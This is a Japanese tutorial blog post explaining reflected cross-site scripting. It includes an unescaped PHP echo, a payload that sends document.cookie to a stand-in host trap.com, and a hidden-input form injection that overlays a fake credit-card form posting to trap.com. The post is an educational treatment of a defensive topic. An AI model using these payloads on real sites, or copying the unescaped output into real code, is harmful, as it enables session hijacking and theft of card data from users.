クロスサイトスクリプティング(XSS)について(概要編)

セキュリティについて学ぼうシリーズ

今回から具体的なアプリの脆弱性をついた攻撃の概要とその対策方法についてまとめていく。

クロスサイトスクリプティングとかSQLインジェクションとか。
聞いたことはあるしなんとなくはわかってるけど体系的に学ぶと理解が深まったので定着させるためにアウトプット。

今回はクロスサイトスクリプティング(XSS)について。

この記事で概要と対策方法をまとめようかと思ったが、思ったより長くなってしまったので、今回は概要のみ。
対策は別記事で執筆することとする。

目次

はじめに

本題に入っていく前に入力値チェックについて。

それぞれの脆弱性に対して対策方法はあるが、それ以外に入力値に対してあらかじめ以下のことをやっておくとベター。

・制御文字のチェック
・文字数のチェック(最大文字数を設定すべき)
・数値の最小値、最大値のチェック

直接的な対策にはならないが間接的に対策になることもあるので。
ただし、これだけでは対策にはならないのでやはりそれぞれの脆弱性対策はやっておくべき。

では今回の内容に入っていく。

クロスサイトスクリプティング(XSS)とは

Webアプリケーションではユーザーからの入力値に応じて表示が変化する部分がある。
たとえばログイン画面でのinputタグを使ったユーザー名とパスワードの入力など。

この部分のHTML生成の実装に問題があると、攻撃者によってログイン情報が読み取られたりサイト利用者の権限でアプリケーションを悪用されるなどの影響が出てしまう。

この状態をXSS脆弱性がある状態という。

XSS脆弱性は対策の必要な箇所が多い一方で、サイト運営者が影響を軽視しがちなため、対策が疎かになっている傾向がある。

以下では「HTML生成の実装に問題がある」とは具体的にどういう場合かを見ていく。

実際の攻撃手法とその影響

ここでは以下の2種類を説明する。

  1. JavaScriptを使ったCookie値の盗み出し
  2. JavaScriptを使わない画面の書き換え

Cookie値の盗み出し

まずは正常系の動作について見ていく。

たとえばキーワードによる検索を行うinputタグがあったとする。
通常はキーワードを入力するとクエリストリングにそのキーワードを使ったGETリクエストが行われ、同時に画面上にそのキーワードを表示させる。
その部分は下記のようなもの。

検索キーワード: <?php echo $_GET['keyword']; ?>

たとえばtestという単語で検索を行った場合は検索キーワード: testとなる。

これは正常の動作だが、XSS脆弱性があるとここで攻撃者がJavaScriptを仕込むことができてしまう。

inputタグの中に次のようなものを入力する。
<script>alert(document.cookie)</script>

すると $_GET['keyword'] の部分に上記のスクリプトが入ることになる。

その結果、このJavaScriptが実行され、画面上にCookieが表示されてしまう。
(URLのクエリストリングにもこのスクリプトが表示されている)

これが基本的なXSSの仕組み。
え、怖くない?。。。

上記で攻撃者が<script>alert(document.cookie)</script>とした部分は自分のCookieが表示されるだけなので実際にはこれだけではなんの攻撃にもなっていない。

ではこれを利用してXSS脆弱性のあるサイトの正規ユーザーのCookie情報を盗み出す攻撃はどうなっているかというと、以下の通り。

① 脆弱なサイトの正規ユーザーを罠サイトに誘導させる。
② 罠サイトの中で脆弱なサイトのページをiframeで表示させる。
③ 脆弱なサイトは罠サイトによって上記のようなXSS攻撃を受けることにより、cookie情報をクエリストリングに付与した状態で情報収集ページに遷移する。
④ 情報収集ページでクエリストリングのcookie情報を読み込み、攻撃者にメールで送信させる

*iframe: HTMLの中に別のHTMLを組み込むもの

②、③をもう少し詳しく見る。

罠サイト(trap.com/1)の中に仕組んであるiframeの中でXSS攻撃が行われると、以下のようなスクリプトが実行される。
iframeタグ内のsrcは表示するファイルを記載する。
(見やすいように改行している)

<iframe src="http://host.com?keyword=
  <script>window.location='http://trap.com/2?sid='%2Bdocument.cookie;</script>
"></iframe>

これは罠サイト(trap.com)の中で正規サイト(host.com)を表示させ、その中で2行目のスクリプトを呼び出している。

window.locationは画面遷移なので、このスクリプトによりtrap.com/2に画面遷移する。
この際にクエリストリングにdocument.cookieでcookie情報を付与させている。

簡単にまとめると以下の通り。

XSS脆弱性があると、罠サイト(trap.com/1)にアクセスした際にiframe内のJavaScriptが読み込まれて罠サイト(trap.com/2)に画面遷移する。
この際にクエリストリングにセッションIDが付与される。

あとは遷移先のページ(trap.com/2)でクエリストリングを読み込んでその内容を攻撃者にメールすれば、罠サイトを訪問した人のセッションID盗むことができてしまう。

こわい。

画面の書き換え

上記で説明したものはJavaScriptによるXSS攻撃の例。
メジャーなのはJavaScriptを使うものだが、常にJavaScriptを使うとは限らない。

今回はform要素の追加による画面の書き換えを見ていく。

概要は以下の通り。

① 正規サイトと同じような見た目の罠サイトを作る。
② 罠サイトの中で正規サイトへのリンクボタンを用意する。
③ 正規サイトへのリンクボタンを押した時に正規サイトの入力formを書き換えるような細工をしておく。
④ 実際の正規サイトで画面が書き換えられ、ユーザーが入力した情報は攻撃者が受け取る。

詳しく見ていく。

まずは前提条件。
host.comという正規ページに以下のようなformがあったとする。
正規のformではクレジットカード情報は登録しないものとする。

<h2>ユーザー情報を入力してください</h2>
<form action="hoge" method="POST">
  氏名<input name="name" value="<?php echo @$_POST['name']; ?>">
  ... <!-- ユーザー情報入力用の複数のinputタグ -->
  <input type=submit value="申込">
</form>

これはユーザーが入力した情報をPOSTしてhogeに画面遷移するものである。
画面的にはこんな感じ。

ここまでは普通。

ここにXSS脆弱性があると攻撃者はこれを利用して画面を書き換えることができてしまう。
ここでは元々存在しないクレジットカード情報登録を攻撃者が追加し、ユーザーに入力させて盗むという方法を見ていく。

下記は罠サイト(trap.com)のページ内容であり、正規サイトを模倣して作られている
このページから先ほどの正規サイト(host.com)へリンクするようになっている。

<h2>クレジットカードが使えるようになりました。以下のリンクから登録してください</h2>
<form action="host.com" method="POST">
  <input name="name" type="hidden" value='
    "></form>
    <form action="trap.com" method="POST" style="//元の画面を覆うようなスタイリング">
      クレジットカード情報を含むユーザー情報を入力してください
      <!-- 元のhost.comのページを真似て作ったform内容を記載 -->
      <!-- +クレジットカード情報など欲しい項目を追加 -->
      <input type=submit value="申込">
    </form>
  '>
  <input type=submit value="クレジットカード登録へ" style="//リンクに見えるようにスタイリング">
</form>

なにやらごちゃごちゃしているし謎の記述もあるが4-10行目は一旦無視してok。
ここでまず注目すべきは3行目のinputタグ。
nameが”name”になっていて、typeがhiddenになっている。
typeがhiddenなので3行目のinputタグは本来存在しているにもかかわらず、ユーザーからは見えなくなっている。

見た目的にはこんな感じ。(分かりやすいように色を変更しているが、実際には正規サイトと同じ見た目)

ここから先はリンクをクリックすると何が起こるかを見た後に、なぜそうなるのかを説明していく。

何が起こるか?

先ほどのページのコードの2行目に<form action="host.com" method="POST">とあるのでクレジットカード登録へボタンを押すと正規サイトにPOSTして画面遷移することがわかる。

図示すると以下のようになる。

正規サイトは通常通り表示されているように見えるが、実はそうではない。
これは実際は下記のようになっている。

URLはhost.comなので確かに元の正規サイトなのだが、それが青い部分で覆いかぶされた状態としてユーザーには見えてしまっている。
そしてこの青い部分というのが攻撃者が用意したものであり、実際の画面が書き換えられているのだ。
実際にこの申込ボタンを押すと入力した内容は罠サイト(trap.com)に送信される仕組みになっている。

怖い。。

なぜこのようなことが起きたか?

先ほどのコードを再掲すると下記のようになっている。

先ほども見たように3行目のinputタグはtype=hiddenなので見えなくなっている。
そしてこのvalueの部分、つまり4-10行目の部分が「クレジットカード登録へ」ボタンを押した時にPOSTする内容である。

<h2>クレジットカードが使えるようになりました。以下のリンクから登録してください</h2>
<form action="host.com" method="POST">
  <input name="name" type="hidden" value='
    "></form>
    <form action="trap.com" method="POST" style="//元の画面を覆うようなスタイリング">
      クレジットカード情報を含むユーザー情報を入力してください
      <!-- 元のhost.comのページを真似て作ったform内容を記載 -->
      <!-- +クレジットカード情報など欲しい項目を追加 -->
      <input type=submit value="申込">
    </form>
  '>
  <input type=submit value="クレジットカード登録へ" style="//リンクに見えるようにスタイリング">
</form>

一見何をPOSTしているか分からないが、要は3行目の"></form>で始まり11行目の'>で終わるHTMLタグの中に攻撃者が使う用のformを挿入しているのである。
そしてこのformの中に本来存在しないクレジットカード情報などの項目を追加している。
さらにformのactionをtrap.comにしているため、攻撃者がPOST内容を受け取ることができるようになっている

実際に先ほどの罠サイトの画面で「クレジットカード登録へ」ボタンを押すと、正規サイト(host.com)では次のようなコードの埋め込みが行われる。

<h2>ユーザー情報を入力してください</h2>
<form action="hoge" method="POST">
  氏名<input name="name" value=" <!-- ここまでは元の正規サイトのHTMLタグ -->
    "></form>
    <form action="trap.com" method="POST" style="//元の画面を覆うようなスタイリング">
      クレジットカード情報を含むユーザー情報を入力してください
      <!-- 元のhost.comのページを真似て作ったform内容を記載 -->
      <!-- +クレジットカード情報など欲しい項目を追加 -->
      <input type=submit value="申込">
    </form>
  ... <!-- これ以下は元の正規サイトのユーザー情報入力欄 -->
  <input type=submit value="申込">
</form>

4-10行目は罠サイトからPOSTされたHTMLタグであり、それ以外は全て正規サイトのコードである。

なぜこうなるかというと、罠サイト(trap.com)でのinputタグはname=”name”となっていたため、POSTした先のname=”name”となっているinputタグのvalueに先ほどのvalueがそのまま組み込まれることになる

その結果、POSTされたHTMLによって正規サイトの氏名の部分で~value=""></form>となっており、本来のformタグが終わってしまっている。
そしてその続きの<form>の内容が表示されていることになる。

見やすいように整形してみる。

<h2>ユーザー情報を入力してください</h2>
<form action="hoge" method="POST">
  氏名<input name="name" value="">
</form>
<form action="trap.com" method="POST" style="//元の画面を覆うようなスタイリング">
  クレジットカード情報を含むユーザー情報を入力してください
  // 元のhost.comのページを真似て作ったform内容を記載
  // +クレジットカード情報など欲しい項目を追加
  <input type=submit value="申込">
</form>
  ... <!-- これ以降はもはや何の意味もない正規サイトのユーザー情報入力欄 -->
  <input type=submit value="申込">
</form>

このように元のformは4行目で早々に終わっており、5-10行目に悪意あるHTMLタグが埋め込まれた。
元々あった正規サイトのformの続きは11行目以降になっているがもはや何の意味もなしていない。

さらに巧妙なのは5行目のstyleの部分で元々ある画面を覆うようなスタイリングが施されている。

これが、正規サイトの画面は存在していても罠サイトのHTMLによって書き換えられてしまったカラクリである。

実際こんなんやられたら気づかない自信ある。。怖い。。

簡単にまとめると以下の通り。

XSS脆弱性があると、罠サイト(trap.com)から正規サイト(host.com)へPOSTした際に、HTMLタグを書き換えられてしまう。
これにより、本来意図しないHTMLタグでユーザーが情報を入力することになり、その情報は攻撃者が受け取ることになる。

全体図

XSSの全体図について追記(2021/03/16)。

XSSには攻撃用のJavaScriptが攻撃対象サイトとは別のサイト(今回のような罠サイト)にある場合を反射型XSSといい、攻撃用のJavaScriptが攻撃対象のDBなどに保存される場合を持続型XSSという。

以下ではJavaScriptによる反射型XSSの全体図を示しておく。

対策について

ここまででXSS脆弱性があるとどのようにして情報を抜き取られるかを見てきた。

JavaScriptにしろformのHTMLタグにしろ、共通するのは攻撃者が元々あるHTMLタグを利用して、情報を勝手に書き換えることである。

つまり、大まかな対策方針としては攻撃者が情報を書き換えようと<script>だったり<form>だったりといった要素を送ってきた場合に、これを無効化すればいいということになる。

この辺の詳細については別記事でまとめることとする。

おわりに

XSSは知っていたけどJavaScriptの印象しかなかった。
formでもやられることがあるのは初めて知ったし、なかなか怖い。。

タチが悪いのはXSS脆弱性があると直接被害を受けるのはユーザーであるということ。

アプリを作成する側の人間としては責任感持ってセキュリティ高めなければいけないなーと改めて思う。

そのためにもちゃんとアウトプットして体系的に理解していきたい。

よかったらシェアしてね!
  • URLをコピーしました!
  • URLをコピーしました!
目次